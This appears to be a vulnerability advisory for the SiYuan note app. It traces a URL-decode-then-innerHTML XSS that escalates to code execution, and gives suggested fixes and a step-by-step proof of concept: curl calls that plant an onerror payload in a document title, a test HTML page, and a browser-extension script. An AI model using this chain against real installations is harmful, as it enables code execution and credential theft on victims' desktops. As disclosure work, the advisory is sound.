      "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0,  he tooltip mouseover handler in app/src/block/popover.ts reads aria-label via getAttribute and passes it through decodeURIComponent before assigning to messageElement.innerHTML in app/src/dialog/tooltip.ts:41. The encoder used at the producer side, escapeAriaLabel in app/src/util/escape.ts:19-25, only handles HTML special characters (\", \u0027, \u003c, literal \u0026lt;) \u2014 it leaves %XX URL-escapes untouched. So a doc title containing %3Cimg src=x onerror=...%3E round-trips through escapeAriaLabel and the HTML attribute layer unmodified. Then decodeURIComponent on the consumer side converts %3C to a literal \u003c character (a real \u003c, NOT a character reference). When that string is assigned to innerHTML, the HTML5 tokenizer enters TagOpenState on the literal \u003c, parses the \u003cimg\u003e element, and the onerror handler fires. Because the renderer runs with nodeIntegration: true, contextIsolation: false, webSecurity: false (app/electron/main.js:407-411), require(\u0027child_process\u0027) is reachable from the injected handler, escalating to arbitrary code execution.This vulnerability is fixed in 3.7.0."

  "details": "## Summary\n\nThe tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`\"`, `\u0027`, `\u003c`, literal `\u0026lt;`) \u2014 it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `\u003c` character (a real `\u003c`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `\u003c`, parses the `\u003cimg\u003e` element, and the `onerror` handler fires.\n\nBecause the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require(\u0027child_process\u0027)` is reachable from the injected handler, escalating to arbitrary code execution.\n\nDoc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they\u0027re rendered into `class=\"ariaLabel\"` elements with `aria-label=\"${escapeAriaLabel(...)}\"`. Doc title is the easiest plant \u2014 any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification.\n\n## Why a \"double HTML-decode\" framing is wrong\n\nA na\u00efve reading of the chain might suggest that `\u0026amp;lt;` (the encoder output) decodes once at attribute-parse time to `\u0026lt;`, then a second time at `innerHTML` time to `\u003c` \u2014 yielding a tag. **That\u0027s incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `\u003c` resulting from a `\u0026lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.\n\nThe actual bypass relies on `decodeURIComponent` producing a **literal** `\u003c` (not a character reference) before `innerHTML` parses it. Literal `\u003c` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it.\n\n## Details\n\n**Encoder.** `app/src/util/escape.ts:19-25`:\n```ts\nexport const escapeAriaLabel = (html: string) =\u003e {\n    if (!html) { return html; }\n    return html.replace(/\"/g, \"\u0026quot;\").replace(/\u0027/g, \"\u0026apos;\")\n        .replace(/\u003c/g, \"\u0026amp;lt;\").replace(/\u0026lt;/g, \"\u0026amp;lt;\");\n};\n```\nThe four replacements only cover HTML special chars. `%XX` URL escapes are not touched.\n\n**Source \u2014 search-result rendering.** `app/src/search/util.ts:1406`:\n```ts\n\u003cspan class=\"b3-list-item__text ariaLabel\" ... aria-label=\"${escapeAriaLabel(title)}\"\u003e${escapeGreat(title)}\u003c/span\u003e\n```\nSame pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim \u2014 `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.\n\n**Consumer.** `app/src/block/popover.ts:33,144`:\n```ts\nlet tip = aElement.getAttribute(\"aria-label\") || \"\";       // literal stored attribute value\n// ... branch logic that doesn\u0027t apply to plain search results ...\nshowTooltip(decodeURIComponent(tip), aElement, ...);       // \u2190 decodes %XX into raw chars\n```\n`decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it\u0027s applied unconditionally to every aria-label-sourced tip \u2014 that\u0027s what enables this bypass.\n\n**Sink.** `app/src/dialog/tooltip.ts:41`:\n```ts\nmessageElement.innerHTML = message;     // \u2190 HTML parser sees the now-decoded raw `\u003c` and starts parsing tags\n```\n\n**Decode-chain trace** for in-memory title `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` (URL-encoded `\u003c` `\u003e` `\u0027`, literal `\"`):\n\n| step | result |\n|------|--------|\n| in-memory title | `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` |\n| `escapeAriaLabel` writes (only `\"` and `\u0027` get encoded \u2014 neither appears here as raw chars when `\u0027` is `%27`) | `%3Cimg src=x onerror=\u0026quot;alert(%27SiYuan%27)\u0026quot;%3E` |\n| HTML attribute set: `aria-label=\"...\"` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` |\n| `getAttribute(\"aria-label\")` | `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` (verbatim) |\n| `decodeURIComponent(tip)` | **`\u003cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"\u003e`** (real `\u003c` `\u0027` `\u003e` chars) |\n| `messageElement.innerHTML = \u2026` | HTML parser tokenizes raw `\u003cimg\u003e`, creates element, fails to load `src=x`, fires `onerror` \u2192 JS runs |\n\n**Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`.\n\n## Suggested fix\n\n1. **Primary \u2014 `app/src/dialog/tooltip.ts:41`**: replace\n   ```ts\n   messageElement.innerHTML = message;\n   ```\n   with\n   ```ts\n   messageElement.textContent = message;\n   ```\n   For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`.\n\n2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.\n\n3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `\u0026`, `\u003c`, `\u003e`, `\"`, `\u0027`. Context-specific encoders without compile-time enforcement keep producing bug-class variants.\n\n4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default).\n2. Verify the kernel is up:\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   # \u2192 {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. Create at least one notebook (the file tree\u0027s \"+\" button) so `lsNotebooks` returns a usable id. Pin variables:\n   ```sh\n   API=http://127.0.0.1:6806\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n     | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n\n### Step A \u2014 Browser-only validation of the chain (no SiYuan needed)\n\nThis proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003ch2 id=\"status\"\u003eClick \"Simulate\" \u2014 if status turns red, the chain works.\u003c/h2\u003e\n\u003cspan id=\"src\" class=\"ariaLabel\"\n      aria-label=\"%3Cimg src=x onerror=\u0026quot;document.getElementById(\u0027status\u0027).innerText=\u0027RESULT: payload fired \u2014 chain works\u0027; document.getElementById(\u0027status\u0027).style.color=\u0027red\u0027;\u0026quot;%3E\"\n      hidden\u003e\u003c/span\u003e\n\u003cbutton onclick=\"\n  let tip = document.getElementById(\u0027src\u0027).getAttribute(\u0027aria-label\u0027);\n  console.log(\u0027after getAttribute:\u0027, JSON.stringify(tip));\n  try { tip = decodeURIComponent(tip); } catch(e){}\n  console.log(\u0027after decodeURIComponent:\u0027, JSON.stringify(tip));\n  document.getElementById(\u0027out\u0027).innerHTML = tip;\n\"\u003eSimulate SiYuan tooltip\u003c/button\u003e\n\u003cdiv id=\"out\" style=\"border:2px solid red; padding:1em; min-height:3em; margin-top:1em;\"\u003e\u003c/div\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nClick the button. The `\u003ch2 id=\"status\"\u003e` flips to red with \"RESULT: payload fired \u2014 chain works\", and the `\u003cdiv id=\"out\"\u003e` contains a fully-rendered `\u003cimg\u003e` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters.\n\n### Step B \u2014 Plant the payload in SiYuan\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK_ID\\\",\\\"path\\\":\\\"/tooltip-xss-poc-$$\\\",\\\"markdown\\\":\\\"trigger me \u2014 open the search panel, type \u0027trigger\u0027, and hover this result\\\"}\" \\\n  | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"])\u0027)\necho \"DOC: $DOC_ID\"\n\ncurl -s -X POST $API/api/filetree/renameDocByID \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary @- \u003c\u003cEOF\n{\"id\":\"$DOC_ID\",\"title\":\"%3Cimg src=x onerror=\\\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\\\"%3E\"}\nEOF\n```\nVerify the in-memory title round-trips:\n```sh\ncurl -s -X POST $API/api/block/getDocInfo \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"ial\"][\"title\"])\u0027\n# Expected:\n# %3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E\n```\n\n### Step C \u2014 Trigger inside SiYuan\n\nIn the SiYuan desktop client:\n1. Open the search panel (`Ctrl+P` / `\u2318+P`).\n2. Type `trigger`.\n3. The result list renders the doc with `aria-label=\"${escapeAriaLabel(title)}\"`. The DOM attribute now contains `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E` (URL-escapes survived; `\u0026quot;` came from escapeAriaLabel and was decoded by the attribute parser to `\"`).\n4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `\u003c`/`\u0027`/`\u003e`), `tooltip.ts:41` writes `innerHTML` \u2014 HTML parser creates a real `\u003cimg\u003e` element, `onerror` fires.\n5. **`alert(\u0027SiYuan tooltip-XSS PoC\u0027)` pops.**\n\n### Step D \u2014 `.sy.zip` reproducer for upstream review\n\nFor maintainers who want a single-click reproducer:\n```sh\nZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"zip\"])\u0027)\n# The kernel re-encodes % in the URL, so it\u0027s simpler to grab from disk:\nSRC=$(ls -1t \"$HOME/SiYuanWorkspace/temp/export\"/*.sy.zip | head -1)\ncp \"$SRC\" \"$HOME/Desktop/tooltip-xss-poc.sy.zip\"\n```\nMaintainer reproduces by importing via right-click a notebook \u2192 **Import** \u2192 **SiYuan `.sy.zip`** \u2192 searching `trigger` \u2192 hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `\"` HTML-entity-encoded \u2014 the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Step B\u0027s curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running:\n```js\n(async () =\u003e {\n  const api = (path, body) =\u003e fetch(\u0027http://127.0.0.1:6806\u0027 + path, {\n    method: \u0027POST\u0027, headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n    body: JSON.stringify(body)\n  }).then(r =\u003e r.json());\n  const nb = await api(\u0027/api/notebook/lsNotebooks\u0027, {});\n  const id = (await api(\u0027/api/filetree/createDocWithMd\u0027, {\n    notebook: nb.data.notebooks[0].id,\n    path: \u0027/x\u0027 + Date.now(),\n    markdown: \u0027trigger\u0027\n  })).data;\n  await api(\u0027/api/filetree/renameDocByID\u0027, {\n    id,\n    title: `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E`\n  });\n})();\n```\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"k\":\"trigger me\"}\u0027 \\\n  | python -c \u0027import sys,json; r=json.load(sys.stdin)[\"data\"]; print(r[0][\"id\"] if r else \"\")\u0027)\n[ -n \"$DOC_ID\" ] \u0026\u0026 curl -s -X POST $API/api/filetree/removeDocByID \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop**, triggered by hovering a search result (or any other `class=\"ariaLabel\"` element rendering attacker-controlled metadata).\n- **Doc titles are the most commonly-shared field** \u2014 recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.\n- Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot.\n- **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips \u2014 any element with `class=\"ariaLabel\"` and `aria-label=\"${escapeAriaLabel(...)}\"` reaches the same `popover.ts \u2192 tooltip.ts` chain.\n- **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `\u003c` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.",
